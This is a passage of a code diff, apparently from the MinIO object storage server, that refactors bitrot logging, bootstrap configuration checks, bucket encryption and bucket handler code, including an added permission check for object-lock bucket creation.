 	if !bytes.Equal(b.h.Sum(nil), b.hashBytes) {
-		logger.LogIf(GlobalContext, fmt.Errorf("Disk: %s  -> %s/%s - content hash does not match - expected %s, got %s",
+		logger.LogIf(GlobalContext, fmt.Errorf("Drive: %s  -> %s/%s - content hash does not match - expected %s, got %s",
 			b.disk, b.volume, b.filePath, hex.EncodeToString(b.hashBytes), hex.EncodeToString(b.h.Sum(nil))))
 		return 0, errFileCorrupt
 	}
@@ -38,12 +38,12 @@ type wholeBitrotWriter struct {
 func (b *wholeBitrotWriter) Write(p []byte) (int, error) {
 	err := b.disk.AppendFile(context.TODO(), b.volume, b.filePath, p)
 	if err != nil {
-		logger.LogIf(GlobalContext, fmt.Errorf("Disk: %s returned %w", b.disk, err))
+		logger.LogIf(GlobalContext, fmt.Errorf("Drive: %s returned %w", b.disk, err))
 		return 0, err
 	}
 	_, err = b.Hash.Write(p)
 	if err != nil {
-		logger.LogIf(GlobalContext, fmt.Errorf("Disk: %s returned %w", b.disk, err))
+		logger.LogIf(GlobalContext, fmt.Errorf("Drive: %s returned %w", b.disk, err))
 		return 0, err
 	}
 	return len(p), nil
@@ -72,12 +72,12 @@ func (b *wholeBitrotReader) ReadAt(buf []byte, offset int64) (n int, err error)
 	if b.buf == nil {
 		b.buf = make([]byte, b.tillOffset-offset)
 		if _, err := b.disk.ReadFile(context.TODO(), b.volume, b.filePath, offset, b.buf, b.verifier); err != nil {
-			logger.LogIf(GlobalContext, fmt.Errorf("Disk: %s -> %s/%s returned %w", b.disk, b.volume, b.filePath, err))
+			logger.LogIf(GlobalContext, fmt.Errorf("Drive: %s -> %s/%s returned %w", b.disk, b.volume, b.filePath, err))
 			return 0, err
 		}
 	}
 	if len(b.buf) < len(buf) {
-		logger.LogIf(GlobalContext, fmt.Errorf("Disk: %s -> %s/%s returned %w", b.disk, b.volume, b.filePath, errLessData))
+		logger.LogIf(GlobalContext, fmt.Errorf("Drive: %s -> %s/%s returned %w", b.disk, b.volume, b.filePath, errLessData))
 		return 0, errLessData
 	}
 	n = copy(buf, b.buf)
@@ -20,17 +20,11 @@ package cmd
 import (
 	"context"
 	"io"
-	"io/ioutil"
-	"os"
 	"testing"
 )

 func testBitrotReaderWriterAlgo(t *testing.T, bitrotAlgo BitrotAlgorithm) {
-	tmpDir, err := ioutil.TempDir("", "")
-	if err != nil {
-		t.Fatal(err)
-	}
-	defer os.RemoveAll(tmpDir)
+	tmpDir := t.TempDir()

 	volume := "testvol"
 	filePath := "testfile"
@@ -60,7 +54,9 @@ func testBitrotReaderWriterAlgo(t *testing.T, bitrotAlgo BitrotAlgorithm) {
 	if err != nil {
 		t.Fatal(err)
 	}
-	writer.(io.Closer).Close()
+	if bw, ok := writer.(io.Closer); ok {
+		bw.Close()
+	}

 	reader := newBitrotReader(disk, nil, volume, filePath, 35, bitrotAlgo, bitrotWriterSum(writer), 10)
 	b := make([]byte, 10)
@@ -76,6 +72,9 @@ func testBitrotReaderWriterAlgo(t *testing.T, bitrotAlgo BitrotAlgorithm) {
 	if _, err = reader.ReadAt(b[:5], 30); err != nil {
 		t.Fatal(err)
 	}
+	if br, ok := reader.(io.Closer); ok {
+		br.Close()
+	}
 }

 func TestAllBitrotAlgorithms(t *testing.T) {
@@ -1,4 +1,4 @@
-// Copyright (c) 2015-2021 MinIO, Inc.
+// Copyright (c) 2015-2022 MinIO, Inc.
 //
 // This file is part of MinIO Object Storage stack
 //
@@ -25,14 +25,13 @@ import (
 	"net/http"
 	"net/url"
 	"reflect"
-	"runtime"
 	"time"

-	"github.com/gorilla/mux"
 	"github.com/minio/minio-go/v7/pkg/set"
 	xhttp "github.com/minio/minio/internal/http"
 	"github.com/minio/minio/internal/logger"
 	"github.com/minio/minio/internal/rest"
+	"github.com/minio/mux"
 	"github.com/minio/pkg/env"
 )

@@ -53,23 +52,22 @@ type bootstrapRESTServer struct{}

 // ServerSystemConfig - captures information about server configuration.
 type ServerSystemConfig struct {
-	MinioPlatform  string
 	MinioEndpoints EndpointServerPools
 	MinioEnv       map[string]string
 }

 // Diff - returns error on first difference found in two configs.
 func (s1 ServerSystemConfig) Diff(s2 ServerSystemConfig) error {
-	if s1.MinioPlatform != s2.MinioPlatform {
-		return fmt.Errorf("Expected platform '%s', found to be running '%s'",
-			s1.MinioPlatform, s2.MinioPlatform)
-	}
 	if s1.MinioEndpoints.NEndpoints() != s2.MinioEndpoints.NEndpoints() {
 		return fmt.Errorf("Expected number of endpoints %d, seen %d", s1.MinioEndpoints.NEndpoints(),
 			s2.MinioEndpoints.NEndpoints())
 	}

 	for i, ep := range s1.MinioEndpoints {
+		if ep.CmdLine != s2.MinioEndpoints[i].CmdLine {
+			return fmt.Errorf("Expected command line argument %s, seen %s", ep.CmdLine,
+				s2.MinioEndpoints[i].CmdLine)
+		}
 		if ep.SetCount != s2.MinioEndpoints[i].SetCount {
 			return fmt.Errorf("Expected set count %d, seen %d", ep.SetCount,
 				s2.MinioEndpoints[i].SetCount)
@@ -78,11 +76,9 @@ func (s1 ServerSystemConfig) Diff(s2 ServerSystemConfig) error {
 			return fmt.Errorf("Expected drives pet set %d, seen %d", ep.DrivesPerSet,
 				s2.MinioEndpoints[i].DrivesPerSet)
 		}
-		for j, endpoint := range ep.Endpoints {
-			if endpoint.String() != s2.MinioEndpoints[i].Endpoints[j].String() {
-				return fmt.Errorf("Expected endpoint %s, seen %s", endpoint,
-					s2.MinioEndpoints[i].Endpoints[j])
-			}
+		if ep.Platform != s2.MinioEndpoints[i].Platform {
+			return fmt.Errorf("Expected platform '%s', found to be on '%s'",
+				ep.Platform, s2.MinioEndpoints[i].Platform)
 		}
 	}
 	if !reflect.DeepEqual(s1.MinioEnv, s2.MinioEnv) {
@@ -125,7 +121,6 @@ func getServerSystemCfg() ServerSystemConfig {
 		envValues[envK] = env.Get(envK, "")
 	}
 	return ServerSystemConfig{
-		MinioPlatform:  fmt.Sprintf("OS: %s | Arch: %s", runtime.GOOS, runtime.GOARCH),
 		MinioEndpoints: globalEndpoints,
 		MinioEnv:       envValues,
 	}
@@ -200,15 +195,18 @@ func verifyServerSystemConfig(ctx context.Context, endpointServerPools EndpointS
 	srcCfg := getServerSystemCfg()
 	clnts := newBootstrapRESTClients(endpointServerPools)
 	var onlineServers int
-	var offlineEndpoints []string
+	var offlineEndpoints []error
+	var incorrectConfigs []error
 	var retries int
 	for onlineServers < len(clnts)/2 {
 		for _, clnt := range clnts {
 			if err := clnt.Verify(ctx, srcCfg); err != nil {
 				if !isNetworkError(err) {
-					logger.LogIf(ctx, fmt.Errorf("%s has incorrect configuration: %w", clnt.String(), err))
+					logger.LogOnceIf(ctx, fmt.Errorf("%s has incorrect configuration: %w", clnt.String(), err), clnt.String())
+					incorrectConfigs = append(incorrectConfigs, fmt.Errorf("%s has incorrect configuration: %w", clnt.String(), err))
+				} else {
+					offlineEndpoints = append(offlineEndpoints, fmt.Errorf("%s is unreachable: %w", clnt.String(), err))
 				}
-				offlineEndpoints = append(offlineEndpoints, clnt.String())
 				continue
 			}
 			onlineServers++
@@ -221,15 +219,19 @@ func verifyServerSystemConfig(ctx context.Context, endpointServerPools EndpointS
 			// 100% CPU when half the endpoints are offline.
 			time.Sleep(100 * time.Millisecond)
 			retries++
-			// after 5 retries start logging that servers are not reachable yet
-			if retries >= 5 {
-				logger.Info(fmt.Sprintf("Waiting for atleast %d remote servers to be online for bootstrap check", len(clnts)/2))
+			// after 20 retries start logging that servers are not reachable yet
+			if retries >= 20 {
+				logger.Info(fmt.Sprintf("Waiting for atleast %d remote servers with valid configuration to be online", len(clnts)/2))
 				if len(offlineEndpoints) > 0 {
 					logger.Info(fmt.Sprintf("Following servers are currently offline or unreachable %s", offlineEndpoints))
 				}
+				if len(incorrectConfigs) > 0 {
+					logger.Info(fmt.Sprintf("Following servers have mismatching configuration %s", incorrectConfigs))
+				}
 				retries = 0 // reset to log again after 5 retries.
 			}
 			offlineEndpoints = nil
+			incorrectConfigs = nil
 		}
 	}
 	return nil
@@ -25,11 +25,11 @@ import (
 	"io"
 	"net/http"

-	"github.com/gorilla/mux"
 	"github.com/minio/kes"
-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/kms"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
 	"github.com/minio/pkg/bucket/policy"
 )

@@ -51,11 +51,6 @@ func (api objectAPIHandlers) PutBucketEncryptionHandler(w http.ResponseWriter, r
 		return
 	}

-	if !objAPI.IsEncryptionSupported() {
-		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
-		return
-	}
-
 	vars := mux.Vars(r)
 	bucket := vars["bucket"]

@@ -65,7 +60,7 @@ func (api objectAPIHandlers) PutBucketEncryptionHandler(w http.ResponseWriter, r
 	}

 	// Check if bucket exists.
-	if _, err := objAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -90,7 +85,7 @@ func (api objectAPIHandlers) PutBucketEncryptionHandler(w http.ResponseWriter, r
 	kmsKey := encConfig.KeyID()
 	if kmsKey != "" {
 		kmsContext := kms.Context{"MinIO admin API": "ServerInfoHandler"} // Context for a test key operation
-		_, err := GlobalKMS.GenerateKey(kmsKey, kmsContext)
+		_, err := GlobalKMS.GenerateKey(ctx, kmsKey, kmsContext)
 		if err != nil {
 			if errors.Is(err, kes.ErrKeyNotFound) {
 				writeErrorResponse(ctx, w, toAPIError(ctx, errKMSKeyNotFound), r.URL)
@@ -108,7 +103,8 @@ func (api objectAPIHandlers) PutBucketEncryptionHandler(w http.ResponseWriter, r
 	}

 	// Store the bucket encryption configuration in the object layer
-	if err = globalBucketMetadataSys.Update(ctx, bucket, bucketSSEConfig, configData); err != nil {
+	updatedAt, err := globalBucketMetadataSys.Update(ctx, bucket, bucketSSEConfig, configData)
+	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -118,14 +114,12 @@ func (api objectAPIHandlers) PutBucketEncryptionHandler(w http.ResponseWriter, r
 	// We encode the xml bytes as base64 to ensure there are no encoding
 	// errors.
 	cfgStr := base64.StdEncoding.EncodeToString(configData)
-	if err = globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+	logger.LogIf(ctx, globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
 		Type:      madmin.SRBucketMetaTypeSSEConfig,
 		Bucket:    bucket,
 		SSEConfig: &cfgStr,
-	}); err != nil {
-		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-		return
-	}
+		UpdatedAt: updatedAt,
+	}))

 	writeSuccessResponseHeadersOnly(w)
 }
@@ -153,7 +147,7 @@ func (api objectAPIHandlers) GetBucketEncryptionHandler(w http.ResponseWriter, r

 	// Check if bucket exists
 	var err error
-	if _, err = objAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err = objAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -196,25 +190,25 @@ func (api objectAPIHandlers) DeleteBucketEncryptionHandler(w http.ResponseWriter

 	// Check if bucket exists
 	var err error
-	if _, err = objAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err = objAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}

 	// Delete bucket encryption config from object layer
-	if err = globalBucketMetadataSys.Update(ctx, bucket, bucketSSEConfig, nil); err != nil {
+	updatedAt, err := globalBucketMetadataSys.Delete(ctx, bucket, bucketSSEConfig)
+	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
+
 	// Call site replication hook.
-	//
-	if err = globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+	logger.LogIf(ctx, globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
 		Type:      madmin.SRBucketMetaTypeSSEConfig,
 		Bucket:    bucket,
 		SSEConfig: nil,
-	}); err != nil {
-		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-		return
-	}
+		UpdatedAt: updatedAt,
+	}))
+
 	writeSuccessNoContent(w)
 }
@@ -34,15 +34,6 @@ func NewBucketSSEConfigSys() *BucketSSEConfigSys {

 // Get - gets bucket encryption config for the given bucket.
 func (sys *BucketSSEConfigSys) Get(bucket string) (*sse.BucketSSEConfig, error) {
-	if globalIsGateway {
-		objAPI := newObjectLayerFn()
-		if objAPI == nil {
-			return nil, errServerNotInitialized
-		}
-
-		return nil, BucketSSEConfigNotFound{Bucket: bucket}
-	}
-
 	sseCfg, _, err := globalBucketMetadataSys.GetSSEConfig(bucket)
 	return sseCfg, err
 }
@@ -1,4 +1,4 @@
-// Copyright (c) 2015-2021 MinIO, Inc.
+// Copyright (c) 2015-2022 MinIO, Inc.
 //
 // This file is part of MinIO Object Storage stack
 //
@@ -34,9 +34,9 @@ import (
 	"sync"

 	"github.com/google/uuid"
-	"github.com/gorilla/mux"
+	"github.com/minio/mux"

-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio-go/v7/pkg/set"
 	"github.com/minio/minio-go/v7/pkg/tags"
 	sse "github.com/minio/minio/internal/bucket/encryption"
@@ -67,11 +67,16 @@ const (
 // - Check if a bucket has an entry in etcd backend
 // -- If no, make an entry
 // -- If yes, check if the entry matches local IP check if we
-//    need to update the entry then proceed to update
+//
+//	need to update the entry then proceed to update
+//
 // -- If yes, check if the IP of entry matches local IP.
-//    This means entry is for this instance.
+//
+//	This means entry is for this instance.
+//
 // -- If IP of the entry doesn't match, this means entry is
-//    for another instance. Log an error to console.
+//
+//	for another instance. Log an error to console.
 func initFederatorBackend(buckets []BucketInfo, objLayer ObjectLayer) {
 	if len(buckets) == 0 {
 		return
@@ -201,7 +206,7 @@ func (api objectAPIHandlers) GetBucketLocationHandler(w http.ResponseWriter, r *

 	getBucketInfo := objectAPI.GetBucketInfo

-	if _, err := getBucketInfo(ctx, bucket); err != nil {
+	if _, err := getBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -227,7 +232,6 @@ func (api objectAPIHandlers) GetBucketLocationHandler(w http.ResponseWriter, r *
 // using the Initiate Multipart Upload request, but has not yet been
 // completed or aborted. This operation returns at most 1,000 multipart
 // uploads in the response.
-//
 func (api objectAPIHandlers) ListMultipartUploadsHandler(w http.ResponseWriter, r *http.Request) {
 	ctx := newContext(r, w, "ListMultipartUploads")

@@ -296,7 +300,7 @@ func (api objectAPIHandlers) ListBucketsHandler(w http.ResponseWriter, r *http.R

 	listBuckets := objectAPI.ListBuckets

-	cred, owner, s3Error := checkRequestAuthTypeCredential(ctx, r, policy.ListAllMyBucketsAction, "", "")
+	cred, owner, s3Error := checkRequestAuthTypeCredential(ctx, r, policy.ListAllMyBucketsAction)
 	if s3Error != ErrNone && s3Error != ErrAccessDenied {
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(s3Error), r.URL)
 		return
@@ -332,7 +336,7 @@ func (api objectAPIHandlers) ListBucketsHandler(w http.ResponseWriter, r *http.R
 	} else {
 		// Invoke the list buckets.
 		var err error
-		bucketsInfo, err = listBuckets(ctx)
+		bucketsInfo, err = listBuckets(ctx, BucketOptions{})
 		if err != nil {
 			writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 			return
@@ -427,7 +431,6 @@ func (api objectAPIHandlers) DeleteMultipleObjectsHandler(w http.ResponseWriter,
 	// Unmarshal list of keys to be deleted.
 	deleteObjectsReq := &DeleteObjectsRequest{}
 	if err := xmlDecoder(r.Body, deleteObjectsReq, maxBodySize); err != nil {
-		logger.LogIf(ctx, err, logger.Application)
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -447,7 +450,7 @@ func (api objectAPIHandlers) DeleteMultipleObjectsHandler(w http.ResponseWriter,
 	checkRequestAuthType(ctx, r, policy.DeleteObjectAction, bucket, "")

 	// Before proceeding validate if bucket exists.
-	_, err := objectAPI.GetBucketInfo(ctx, bucket)
+	_, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{})
 	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
@@ -507,11 +510,10 @@ func (api objectAPIHandlers) DeleteMultipleObjectsHandler(w http.ResponseWriter,
 		}
 		if object.VersionID != "" && object.VersionID != nullVersionID {
 			if _, err := uuid.Parse(object.VersionID); err != nil {
-				logger.LogIf(ctx, fmt.Errorf("invalid version-id specified %w", err))
 				apiErr := errorCodes.ToAPIErr(ErrNoSuchVersion)
 				deleteResults[index].errInfo = DeleteError{
 					Code:      apiErr.Code,
-					Message:   apiErr.Description,
+					Message:   fmt.Sprintf("%s (%s)", apiErr.Description, err),
 					Key:       object.ObjectName,
 					VersionID: object.VersionID,
 				}
@@ -525,7 +527,7 @@ func (api objectAPIHandlers) DeleteMultipleObjectsHandler(w http.ResponseWriter,
 			VersionSuspended: vc.Suspended(),
 		}

-		if replicateDeletes || hasLockEnabled || !globalTierConfigMgr.Empty() {
+		if replicateDeletes || object.VersionID != "" && hasLockEnabled || !globalTierConfigMgr.Empty() {
 			if !globalTierConfigMgr.Empty() && object.VersionID == "" && opts.VersionSuspended {
 				opts.VersionID = nullVersionID
 			}
@@ -554,7 +556,7 @@ func (api objectAPIHandlers) DeleteMultipleObjectsHandler(w http.ResponseWriter,
 				object.ReplicateDecisionStr = dsc.String()
 			}
 		}
-		if hasLockEnabled {
+		if object.VersionID != "" && hasLockEnabled {
 			if apiErrCode := enforceRetentionBypassForDelete(ctx, r, bucket, object, goi, gerr); apiErrCode != ErrNone {
 				apiErr := errorCodes.ToAPIErr(apiErrCode)
 				deleteResults[index].errInfo = DeleteError{
@@ -649,6 +651,7 @@ func (api objectAPIHandlers) DeleteMultipleObjectsHandler(w http.ResponseWriter,
 			dv := DeletedObjectReplicationInfo{
 				DeletedObject: dobj,
 				Bucket:        bucket,
+				EventType:     ReplicateIncomingDelete,
 			}
 			scheduleReplicationDelete(ctx, dv, objectAPI)
 		}
@@ -726,11 +729,30 @@ func (api objectAPIHandlers) PutBucketHandler(w http.ResponseWriter, r *http.Req
 		}
 	}

-	if s3Error := checkRequestAuthType(ctx, r, policy.CreateBucketAction, bucket, ""); s3Error != ErrNone {
+	cred, owner, s3Error := checkRequestAuthTypeCredential(ctx, r, policy.CreateBucketAction)
+	if s3Error != ErrNone {
 		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(s3Error), r.URL)
 		return
 	}

+	if objectLockEnabled {
+		// Creating a bucket with locking requires the user having more permissions
+		for _, action := range []iampolicy.Action{iampolicy.PutBucketObjectLockConfigurationAction, iampolicy.PutBucketVersioningAction} {
+			if !globalIAMSys.IsAllowed(iampolicy.Args{
+				AccountName:     cred.AccessKey,
+				Groups:          cred.Groups,
+				Action:          action,
+				ConditionValues: getConditionValues(r, "", cred.AccessKey, cred.Claims),
+				BucketName:      bucket,
+				IsOwner:         owner,
+				Claims:          cred.Claims,
+			}) {
+				writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)
+				return
+			}
+		}
+	}
+
 	// Parse incoming location constraint.
 	location, s3Error := parseLocationConstraint(r)
 	if s3Error != ErrNone {
@@ -745,8 +767,12 @@ func (api objectAPIHandlers) PutBucketHandler(w http.ResponseWriter, r *http.Req
 		return
 	}

-	opts := BucketOptions{
-		Location:    location,
+	// check if client is attempting to create more buckets, complain about it.
+	if currBuckets := globalBucketMetadataSys.Count(); currBuckets+1 > maxBuckets {
+		logger.LogIf(ctx, fmt.Errorf("An attempt to create %d buckets beyond recommended %d", currBuckets+1, maxBuckets))
+	}
+
+	opts := MakeBucketOptions{
 		LockEnabled: objectLockEnabled,
 		ForceCreate: forceCreate,
 	}
@@ -758,13 +784,16 @@ func (api objectAPIHandlers) PutBucketHandler(w http.ResponseWriter, r *http.Req
 			// exists elsewhere
 			if err == dns.ErrNoEntriesFound || err == dns.ErrNotImplemented {
 				// Proceed to creating a bucket.
-				if err = objectAPI.MakeBucketWithLocation(ctx, bucket, opts); err != nil {
+				if err = objectAPI.MakeBucket(ctx, bucket, opts); err != nil {
 					writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 					return
 				}

 				if err = globalDNSConfig.Put(bucket); err != nil {
-					objectAPI.DeleteBucket(context.Background(), bucket, DeleteBucketOptions{Force: false, NoRecreate: true})
+					objectAPI.DeleteBucket(context.Background(), bucket, DeleteBucketOptions{
+						Force:      true,
+						SRDeleteOp: getSRBucketDeleteOp(globalSiteReplicationSys.isEnabled()),
+					})
 					writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 					return
 				}
@@ -806,19 +835,14 @@ func (api objectAPIHandlers) PutBucketHandler(w http.ResponseWriter, r *http.Req
 	}

 	// Proceed to creating a bucket.
-	err := objectAPI.MakeBucketWithLocation(ctx, bucket, opts)
-	if _, ok := err.(BucketExists); ok {
-		// Though bucket exists locally, we send the site-replication
-		// hook to ensure all sites have this bucket. If the hook
-		// succeeds, the client will still receive a bucket exists
-		// message.
-		err2 := globalSiteReplicationSys.MakeBucketHook(ctx, bucket, opts)
-		if err2 != nil {
-			writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-			return
+	if err := objectAPI.MakeBucket(ctx, bucket, opts); err != nil {
+		if _, ok := err.(BucketExists); ok {
+			// Though bucket exists locally, we send the site-replication
+			// hook to ensure all sites have this bucket. If the hook
+			// succeeds, the client will still receive a bucket exists
+			// message.
+			globalSiteReplicationSys.MakeBucketHook(ctx, bucket, opts)
 		}
-	}
-	if err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -827,11 +851,7 @@ func (api objectAPIHandlers) PutBucketHandler(w http.ResponseWriter, r *http.Req
 	globalNotificationSys.LoadBucketMetadata(GlobalContext, bucket)

 	// Call site replication hook
-	err = globalSiteReplicationSys.MakeBucketHook(ctx, bucket, opts)
-	if err != nil {
-		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-		return
-	}
+	logger.LogIf(ctx, globalSiteReplicationSys.MakeBucketHook(ctx, bucket, opts))

 	// Make sure to add Location information here only for bucket
 	if cp := pathClean(r.URL.Path); cp != "" {
@@ -870,11 +890,6 @@ func (api objectAPIHandlers) PostPolicyBucketHandler(w http.ResponseWriter, r *h
 		return
 	}

-	if _, ok := crypto.IsRequested(r.Header); !objectAPI.IsEncryptionSupported() && ok {
-		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
-		return
-	}
-
 	bucket := mux.Vars(r)["bucket"]

 	// Require Content-Length to be set in the request
@@ -900,16 +915,18 @@ func (api objectAPIHandlers) PostPolicyBucketHandler(w http.ResponseWriter, r *h
 	// be loaded in memory, the remaining being put in temporary files.
 	reader, err := r.MultipartReader()
 	if err != nil {
-		logger.LogIf(ctx, err)
-		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrMalformedPOSTRequest), r.URL)
+		apiErr := errorCodes.ToAPIErr(ErrMalformedPOSTRequest)
+		apiErr.Description = fmt.Sprintf("%s (%s)", apiErr.Description, err)
+		writeErrorResponse(ctx, w, apiErr, r.URL)
 		return
 	}

 	// Read multipart data and save in memory and in the disk if needed
 	form, err := reader.ReadForm(maxFormMemory)
 	if err != nil {
-		logger.LogIf(ctx, err, logger.Application)
-		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrMalformedPOSTRequest), r.URL)
+		apiErr := errorCodes.ToAPIErr(ErrMalformedPOSTRequest)
+		apiErr.Description = fmt.Sprintf("%s (%s)", apiErr.Description, err)
+		writeErrorResponse(ctx, w, apiErr, r.URL)
 		return
 	}

@@ -919,8 +936,9 @@ func (api objectAPIHandlers) PostPolicyBucketHandler(w http.ResponseWriter, r *h
 	// Extract all form fields
 	fileBody, fileName, fileSize, formValues, err := extractPostPolicyFormValues(ctx, form)
 	if err != nil {
-		logger.LogIf(ctx, err, logger.Application)
-		writeErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrMalformedPOSTRequest), r.URL)
+		apiErr := errorCodes.ToAPIErr(ErrMalformedPOSTRequest)
+		apiErr.Description = fmt.Sprintf("%s (%s)", apiErr.Description, err)
+		writeErrorResponse(ctx, w, apiErr, r.URL)
 		return
 	}

@@ -1035,61 +1053,64 @@ func (api objectAPIHandlers) PostPolicyBucketHandler(w http.ResponseWriter, r *h
 	sseConfig, _ := globalBucketSSEConfigSys.Get(bucket)
 	sseConfig.Apply(r.Header, sse.ApplyOptions{
 		AutoEncrypt: globalAutoEncryption,
-		Passthrough: globalIsGateway && globalGatewayName == S3BackendGateway,
 	})

-	// get gateway encryption options
 	var opts ObjectOptions
 	opts, err = putOpts(ctx, r, bucket, object, metadata)
 	if err != nil {
 		writeErrorResponseHeadersOnly(w, toAPIError(ctx, err))
 		return
 	}
-	if objectAPI.IsEncryptionSupported() {
-		if _, ok := crypto.IsRequested(formValues); ok && !HasSuffix(object, SlashSeparator) { // handle SSE requests
-			if crypto.SSECopy.IsRequested(r.Header) {
-				writeErrorResponse(ctx, w, toAPIError(ctx, errInvalidEncryptionParameters), r.URL)
-				return
-			}
-			var (
-				reader io.Reader
-				keyID  string
-				key    []byte
-				kmsCtx kms.Context
-			)
-			kind, _ := crypto.IsRequested(formValues)
-			switch kind {
-			case crypto.SSEC:
-				key, err = ParseSSECustomerHeader(formValues)
-				if err != nil {
-					writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-					return
-				}
-			case crypto.S3KMS:
-				keyID, kmsCtx, err = crypto.S3KMS.ParseHTTP(formValues)
-				if err != nil {
-					writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-					return
-				}
-			}
-			reader, objectEncryptionKey, err = newEncryptReader(hashReader, kind, keyID, key, bucket, object, metadata, kmsCtx)
+
+	if crypto.Requested(formValues) {
+		if crypto.SSECopy.IsRequested(r.Header) {
+			writeErrorResponse(ctx, w, toAPIError(ctx, errInvalidEncryptionParameters), r.URL)
+			return
+		}
+
+		if crypto.SSEC.IsRequested(r.Header) && isReplicationEnabled(ctx, bucket) {
+			writeErrorResponse(ctx, w, toAPIError(ctx, errInvalidEncryptionParametersSSEC), r.URL)
+			return
+		}
+
+		var (
+			reader io.Reader
+			keyID  string
+			key    []byte
+			kmsCtx kms.Context
+		)
+		kind, _ := crypto.IsRequested(formValues)
+		switch kind {
+		case crypto.SSEC:
+			key, err = ParseSSECustomerHeader(formValues)
 			if err != nil {
 				writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 				return
 			}
-			info := ObjectInfo{Size: fileSize}
-			// do not try to verify encrypted content
-			hashReader, err = hash.NewReader(reader, info.EncryptedSize(), "", "", fileSize)
-			if err != nil {
-				writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
-				return
-			}
-			pReader, err = pReader.WithEncryption(hashReader, &objectEncryptionKey)
+		case crypto.S3KMS:
+			keyID, kmsCtx, err = crypto.S3KMS.ParseHTTP(formValues)
 			if err != nil {
 				writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 				return
 			}
 		}
+		reader, objectEncryptionKey, err = newEncryptReader(ctx, hashReader, kind, keyID, key, bucket, object, metadata, kmsCtx)
+		if err != nil {
+			writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
+			return
+		}
+		info := ObjectInfo{Size: fileSize}
+		// do not try to verify encrypted content
+		hashReader, err = hash.NewReader(reader, info.EncryptedSize(), "", "", fileSize)
+		if err != nil {
+			writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
+			return
+		}
+		pReader, err = pReader.WithEncryption(hashReader, &objectEncryptionKey)
+		if err != nil {
+			writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
+			return
+		}
 	}

 	objInfo, err := objectAPI.PutObject(ctx, bucket, object, pReader, opts)
@@ -1121,9 +1142,12 @@ func (api objectAPIHandlers) PostPolicyBucketHandler(w http.ResponseWriter, r *h
 		Host:         handlers.GetSourceIP(r),
 	})

-	if successRedirect != "" {
-		// Replace raw query params..
-		redirectURL.RawQuery = getRedirectPostRawQuery(objInfo)
+	if redirectURL != nil { // success_action_redirect is valid and set.
+		v := redirectURL.Query()
+		v.Add("bucket", objInfo.Bucket)
+		v.Add("key", objInfo.Name)
+		v.Add("etag", "\""+objInfo.ETag+"\"")
+		redirectURL.RawQuery = v.Encode()
 		writeRedirectSeeOther(w, redirectURL.String())
 		return
 	}
@@ -1167,7 +1191,7 @@ func (api objectAPIHandlers) GetBucketPolicyStatusHandler(w http.ResponseWriter,
 	}

 	// Check if bucket exists.
-	if _, err := objectAPI.GetBucketInfo(ctx, bucket); err != nil {
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
 		return
 	}
@@ -1230,7 +1254,7 @@ func (api objectAPIHandlers) HeadBucketHandler(w http.ResponseWriter, r *http.Re

 	getBucketInfo := objectAPI.GetBucketInfo

-	if _, err := getBucketInfo(ctx, bucket); err != nil {
+	if _, err := getBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
 		writeErrorResponseHeadersOnly(w, toAPIError(ctx, err))
 		return
 	}
